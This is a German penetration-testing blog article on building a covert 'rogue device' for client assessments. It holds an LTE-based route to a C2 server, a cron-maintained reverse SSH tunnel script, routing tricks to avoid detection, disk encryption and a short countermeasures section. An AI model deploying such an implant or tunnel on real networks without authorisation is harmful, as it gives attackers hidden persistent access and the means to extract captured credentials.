Im Februar 2019 haben wir im Artikel NAC-Bypass – Eine praktische Umsetzung eine Lösung zur Umgehung einer portbasierten Netzwerkzugangskontrolle nach IEEE 802.1X vorgestellt und ein Bash-Skript in unserem GitHub-Repository veröffentlicht. Einer der offenen Punkte am Ende des Artikels war die Implementation einer Managementschnittstelle in Form eines WLAN- oder Mobilfunkadapters. Dieser Artikel widmet sich unter anderem dieser Aufgabe.

Wenn ein solches Gerät, wir bezeichnen es als Rogue Device, während eines Assessments im Unternehmensnetzwerk des Kunden platziert wird, sollten die darauf befindlichen Daten geschützt sein. Einerseits als Selbstschutz, da beispielsweise Schlüsselmaterial für Remote-Verbindungen gespeichert wurde und andererseits um Zugangsdaten, die während des Assessments erbeutet wurden, sicher abzulegen. In diesem Artikel befassen wir uns mit deshalb auch mit der Verschlüsselung des Geräts.

Als Grundlage für ein Rogue Device kann ein ARM-basiertes Gerät wie ein Raspberry Pi oder ein x64-basiertes Gerät wie von Protectli verwendet werden. Das Gerät sollte handlich sein und über mehrere Netzwerk- und USB-Anschlüsse verfügen. Darauf kann eine Linux-Distribution der Wahl betrieben werden. Bei ARM-Geräten ist zu beachten, dass die zu verwendeten Tools auch als ARM-Version vorliegen müssen, was je nachdem zusätzlichen Aufwand bedeutet, da Binaries ausserhalb der Paketverwaltung der Distribution für ARM kompiliert werden müssen.

Fernsteuerung

Damit das Rogue Device einen unabhängigen Kanal aufbauen kann, wird ein alternatives Medium wie WLAN oder Mobilfunk eingesetzt. Für eine Mobilfunkverbindung eignet sich beispielsweise der Huawei 4G Dongle E3372-325 (BROVI). Nach dem Kauf sollte die Firmware aktualisiert werden, um Probleme bei der Verwendung unter Linux zu vermeiden. Zur Nutzung des Huawei-Dongles sind udev-Regeln sowie ein Bash-Skript notwendig, beide haben wir in unser GitHub-Repository hochgeladen: 40-huawei-brovi.rules und brovi_switch. Das Bash-Skript stellt sicher, dass sich der Huawei-Dongle nicht nur als Datenträger verbindet, sondern ein USB-Mode-Switch durchgeführt wird und die Modemkomponente geladen wird.

Da für den NAC-Bypass der Netzwerkdienst NetworkManager deaktiviert wird, muss die Netzwerkkonfiguration für den Huawei-Dongle manuell respektive über eine Konfigurationsdatei vorgenommen werden. Zusätzlich kann in der Konfiguration eine Route zum Command-und-Control-Server (C2), erreichbar unter der IP-Adresse 198.51.100.23, definiert werden. Damit ist sichergestellt, dass die Verbindung zum C2-Server über Mobilfunk erfolgt. Unter einer auf Debian-basierenden Distribution wird folgende Konfiguration unter /etc/network/interfaces.d/usb0 benötigt.

auto usb0
    allow-hotplug usb0
    iface usb0 inet dhcp
    up ip route add 198.51.100.23/32 via 192.168.8.1 dev usb0

Damit ist der Huawei-Dongle einsatzbereit und beim Anschliessen des Geräts sollte eine Internetverbindung aufgebaut werden.

SSH Tunnelling

Wenn das Rogue Device eine Internetverbindung aufgebaut hat, ist die IP-Adresse des Geräts nicht bekannt. Zudem wird auf dem USB-Dongle Network Address Translation (NAT) eingesetzt. Es ist daher nicht möglich, eine direkte Verbindung auf das Gerät aufzubauen. Eine Lösung dafür ist die Verwendung von SSH Tunnelling. Beide Systeme betreiben einen OpenSSH-Server, auf dem C2-Server wird ein Benutzer namens rogue01 angelegt und auf dem Rogue Device ein SSH-Schlüsselpaar generiert. Der Benutzer wird verwendet um einen Tunnel über SSH Remote Port Forwarding aufzubauen.

ssh -N -R 44444:localhost:22 -p 22222 -i ~/.ssh/id_ed25519 rogue01@198.51.100.23 >/dev/null 2>&1 &

Der Befehl wird auf dem Rogue Device ausgeführt. Dieser Befehl erlaubt es jedem Benutzer auf dem C2-Server 198.51.100.23 auf den lokalen Port 44444/tcp zuzugreifen und beim Zugriff wird die Verbindung zum Rogue Device getunnelt und baut dort eine lokale Verbindung zum Port 22/tcp auf. Somit wird eine SSH-Sitzung auf dem Rogue Device geöffnet, ohne dass das Rogue Device direkt aus dem Internet erreichbar ist.

Die Verbindung zum C2-Server wird direkt nach dem Start aufgebaut. In einem bestimmten Zeitabstand wird geprüft, ob die Verbindung noch existiert und falls nicht, wieder neu aufgebaut. In einem grösseren Abstand sollte die Verbindung komplett neu aufgebaut werden. Das Zurücksetzen stellt sicher, dass eine tote Verbindung, deren Prozess noch läuft, erkannt und beendet wird. Mit dieser Prozedur geht die Verbindung zum Rogue Device nicht vollständig verloren, falls beispielsweise das Netz kurz ausfällt, sondern wird im definierten Zeitabstand wieder aufgebaut. Das Vorgehen haben wir in einem einfachen Bash-Skript implementiert.

#/bin/bash
HOST="198.51.100.23"
RPORT="22222"
LPORT="44444"
USER="rogue01"
IDENTITY="~/.ssh/id_ed25519"
PATTERN="rogue"
FLAG=$1

# Search for ssh process
PID=$(ps axf | grep ssh | grep $PATTERN | awk '{print $1}')

# If reset flag is set, kill connection
if [ "$FLAG" = "RESET" ]
then
    kill -9 $PID
    PID=
fi

# Check if connection is already established
if [ -z "$PID" ]
then
    echo "Not running"
    ssh -N -R $LPORT:localhost:22 -p $RPORT -i $IDENTITY $USER@$HOST >/dev/null 2>&1 &
else
    echo "Running"
    # Do nothing
fi

Das Skript wird über Cron Jobs direkt nach dem Start, alle 5 Minuten zur Verbindungsprüfung und alle 30 Minuten für ein Zurücksetzen der Verbindung aufgerufen:

# Add a cron job to the rogue device to establish a connection after boot
@reboot sleep 120 && bash ~/scripts/connect.sh > /dev/null 2>&1

# Check every 5 minutes if connection is still running
*/5 * * * * bash ~/scripts/connect.sh > /dev/null 2>&1

# Reset the connection all 30 minutes
*/30 * * * * bash ~/scripts/connect.sh "RESET" > /dev/null 2>&1

Somit ist die Remote-Kommunikation mit dem Rogue Device, dass in einem Kundennetzwerk platziert wurde, sichergestellt. Das Rogue Device verbindet sich über Mobilfunk und kann Remote über eine SSH-Verbindung kontrolliert werden. Damit kann das Gerät mehrere Tage autonom ohne physischen Zugriff betrieben werden.

Monitoring

Auf dem C2-Server kann der Verbindungsaufbau des Rogue Device überwacht werden. In der einfachsten Form mit der Auswertung der Logdatei zur Authentisierung:

sudo tail -f /var/log/auth.log | grep sshd

Es kann passieren, dass eine Verbindung unterbrochen, aber der Prozess nicht vollständig beendet wird. Wenn die SSH-Prozess auf dem C2-Server weiterhin ausgeführt wird, und sich das Rogue Device neu verbinden will, schlägt die Einrichtung des Port-Forwardings fehl. Daher lohnt es sich die Logs im Blick zu haben oder eine Session-Verwaltung zu entwickeln, die automatisch solche toten Verbindungen erkennt und entfernt.

Falls das Rogue Device in unbefugte Hände gerät und das Schlüsselmaterial ausgelesen werden kann, entsteht die Möglichkeit, dass sich jemand mit dem Benutzer auf dem C2-Server anmelden will. Um dies zu erkennen und zu verhindern, dass damit Schaden angerichtet wird, kann über die SSH-Konfigurationseinstellung ForceCommand ein Befehl hinterlegt werden, der beim Login ausgeführt wird. In diesem Beispiel erfolgt eine Benachrichtigung über den Login-Versuch in einen Slack-Channel und die Verbindung wird abgebaut. Dazu wird in der Datei /etc/ssh/sshd_config ein Eintrag für den Benutzer des Rogue Device erstellt.

# Notification for Rogue Device
Match User rogue01
    ForceCommand /opt/notify/notify.sh

Das ausgeführte Script verbindet sich über einen Webhook zu einem Slack-Channel und postet den Verbindungsversuch.

#!/bin/bash

url="https://hooks.slack.com/services/<secret>"
channel="#channel"
host="`hostname`"
content="\"attachments\": [ { \"mrkdw\": [\"text\", \"fallback\"], \"fallback\": \"SSH login: $USER connected to \`$host\`\", \"text\": \"SSH login to \`$host\`\", \"fields\": [ { \"title\": \"User\", \"value\": \"$USER\", \"short\": true }, { \"title\": \"IP Address\", \"value\": \"$SSH_CLIENT\", \"short\": true } ], \"color\": \"#F35A00\" } ]"

curl -s -X POST --data-urlencode "payload={\"channel\": \"$channel\", \"mrkdwn\": true, \"username\": \"ssh-bot\", $content, \"icon_emoji\": \":computer:\"}" $url

Alternativ kann auf eine Benachrichtigung des Logins verzichtet und dem Benutzer die Shell /usr/sbin/nologin zugewiesen werden.

NAC-Bypass

Wenn der SSH-Tunnel aufgebaut wurde, kann das NAC-Bypass-Skript manuell ausgeführt werden. Die Remote-Verbindung sollte dabei nicht betroffen werden. Falls die Dienste im Unternehmensnetzwerk nicht erreicht werden können, kann dies mit Setzen von Routing-Metriken korrigiert werden.

$ sudo ip route replace default via 169.254.66.1 dev br0 metric 10
$ sudo ip route del default via 169.254.66.1 dev br0
$ sudo ip route replace default via 192.168.8.1 dev usb0 metric 100
$ sudo ip route del default via 192.168.8.1 dev usb0

Die Routing-Tabelle sollte schlussendlich so aussehen:

$ ip route
default via 169.254.66.1 dev br0 metric 10
default via 192.168.8.1 dev usb0 metric 100
198.51.100.23 via 192.168.8.1 dev usb0
169.254.0.0/16 dev br0 proto kernel scope link src 169.254.66.66
192.168.8.0/24 dev usb0 proto kernel scope link src 192.168.8.101

Wichtig ist, dass die Route zum C2-Server nicht entfernt wird, sonst geht die Verbindung verloren, respektive wird durch das Unternehmensnetzwerk geroutet und der Angriff könnte auffallen.

Verschlüsselung

Das Rogue Device wird während eines Assessments platziert und kann über Tage hinweg ausserhalb unserer Kontrolle verbleiben. Daher muss als Bestandteil der Operations Security (OPSEC) der Zugriff auf Daten des Geräts geschützt werden. Daher wird unter anderem die Festplatte des Rogue Device verschlüsselt. Bei einem Raspberry Pi kann die Festplattenverschlüsselung nicht während des Installationsprozesses eingesetzt werden, da das Betriebssystem-Image direkt auf eine SD-Karte kopiert wird. Daher muss der Verschlüsselungsvorgang mit LUKS im Nachhinein erfolgen. Der komplexe Prozess ist Schritt-für-Schritt im Artikel LUKS on Raspberry Pi beschrieben.

Wenn das Gerät vor Ort platziert wird, ist kein Bildschirm oder keine Tastatur angeschlossen. Eine automatische Entschlüsselung der Festplatte während des Bootprozesses ist keine Option, da sonst das Gerät auch von unbefugten Personen gestartet werden kann. Entweder wird ein Schlüssel auf einem USB-Stick hinterlegt und zur Boot-Zeit angeschlossen, oder die Passphrase zur Entschlüsselung der Festplatze kann durch ein Gerät wie USB Rubber Ducky automatisch getippt werden. Das Ducky Script dazu lautet:

DELAY 1000
STRING <passphrase>
ENTER

Für den passenden Wert des Parameters DELAY sollte experimentiert werden, wie viel Zeit nach dem Starten des Geräts und dem Initialisieren der USB-Geräte vergeht, damit die Eingabe der Passphrase nicht von anderen Ereignissen unterbrochen wird. Der Wert ist auch abhängig von der Geschwindigkeit der verwendeten Hardware. Der USB-Stick mit dem Schlüsselmaterial respektive dem Passcode wird nach Start des Geräts entfernt.

Falls das Gerät in unbefugte Hände gerät, sind die Daten geschützt wenn die Festplatte respektive SD-Karte vom Gerät entfernt oder der Strom unterbrochen wird. Es sollte eine starke und zufallsgenerierte Passphrase verwendet werden, um Brute-Force-Angriffen wenig Chancen auf Erfolg zu geben. Dasselbe gilt für Passworte für die Benutzeraccounts auf dem Gerät.

Es gilt nicht nur das Rogue Device gegen eine forensische Untersuchung zu schützen, da sich während des Assessments sensitive Daten wie Zugangsinformationen auf dem Gerät befinden können, muss der Zugriff auf diese auch geschützt sein. Solche Daten sollten sich nur so lange wie nötig auf dem Gerät befinden und sobald möglich über die Remote-Verbindung extrahiert werden.

Falls aus Gründen die Festplatte respektive die SD-Karte nicht verschlüsselt werden kann, ist die Verwendung eines verschlüsselten Containers ein Backup-Plan. Es wird dabei ein Container erstellt und wenn benötigt auf dem System entschlüsselt und eingebunden. Wenn der Container nicht mehr benötigt wird, muss dieser wieder ausgehängt werden, da der Schutz der Daten ansonsten nicht gewährleistet ist. Ein solcher Container wird mit LUKS folgendermassen erstellt:

$ PROJECT="whisky"
$ dd if=/dev/zero of=$PROJECT.img bs=1 count=0 seek=256M
$ sudo cryptsetup luksFormat $PROJECT.img
$ sudo cryptsetup luksOpen $PROJECT.img $PROJECT
$ sudo mkfs.ext4 /dev/mapper/$PROJECT
$ mkdir ~/$PROJECT
$ sudo mount /dev/mapper/$PROJECT $HOME/$PROJECT

Der Container wird bei Bedarf eingebunden, die Daten gespeichert und/oder verarbeitet und danach wird der Container wieder ausgehängt.

Gegenmassnahmen

Die Platzierung eines Rogue Device mittels NAC-Bypass-Angriff ist in einem kabelgebundenen Netzwerk auf technischer Ebene schwer zu verhindern. Wenn Angreifer Zugang zu einem Gerät erlangen, kann dieses missbraucht werden. Durch die Verwendung einer permanenten VPN-Verbindung, die auch im Unternehmensnetzwerk notwendig ist, landläufig als Zero Trust bezeichnet, kann der Missbrauch von Laptops für einen Bypass verhindert werden. Bei Netzwerkdruckern sollte eingeschränkt werden, welche Systeme und andere Netzwerkzonen ein Drucker erreichen kann.

Eine Möglichkeit zu Erkennung eines Angriffs ist die physikalische Detektion von unbekannten Geräten sowie die Detektion von Anomalien im Netzwerkverkehr. Diese Anomalien können einerseits Fehlkonfigurationen des Angreifers sein, falls von seinem Gerät aus atypische Anfragen ausgehen, wie unter anderem Anfragen an externe NTP-Server oder DNS-Anfragen zu externen Domänen oder aufgrund von Routing-Fehlern nicht die Mobilfunkverbindung verwendet wird. Andererseits können die Angriffsaktivitäten eines Angreifers im Netzwerk identifiziert werden.

Zur Detektion von Angriffsaktivitäten können verschiedene Mittel eingesetzt werden. Eine Möglichkeit ist die Analyse von Firewall-Logs auf Zonenübergängen, um beispielsweise Portscans zu entdecken. Das Platzieren von Honeypots im Netzwerk ist ein effizientes Mittel zur Detektion. Dabei wird ein System im Netzwerk platziert, das auf allen Netzwerkports auf eingehende Verbindungen wartet. Da dieses System betrieblich nicht genutzt wird, kann jede Interaktion mit diesem Gerät als illegitime Aktion klassifiziert werden und zu einer Alarmierung führen.

Fazit

Durch die Verwendung eines alternativen Netzwerkmediums kann ein Rogue Device unabhängig aus der Ferne kontrolliert werden. Der beschriebene Ansatz mittels eines Mobilfunk-USB-Dongles ist nur eine der Möglichkeiten, denkbar wäre auch ein WLAN zu verwenden. Durch das Setzen von Routing-Regeln kann unser NAC-Bypass-Skript ohne weitere Anpassungen verwendet werden. Um das Gerät vor unbefugten Einblicken und die darauf befindlichen Daten zu schützen, empfehlen wir Rogue Device mit einer Full-Disk-Verschlüsselung einzusetzen. Die Entwicklung eines Rogue Device ist damit längst noch nicht abgeschlossen, wir werden zukünftig weitere Features einbauen und veröffentlichen. Wir freuen uns über Feedback, Verbesserungsvorschläge und Pull Requests.

Über den Autor

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

• https://1.ieee802.org/security/802-1x/
• https://eu.protectli.com/product-comparison/
• https://github.com/scipag/nac_bypass
• https://github.com/scipag/nac_bypass/blob/master/files/etc_udev_rules.d_40-huawei-brovi.rules
• https://github.com/scipag/nac_bypass/blob/master/files/usr_local_bin_brovi_switch
• https://rr-developer.github.io/LUKS-on-Raspberry-Pi/
• https://shop.hak5.org/products/usb-rubber-ducky
• https://www.raspberrypi.com/products/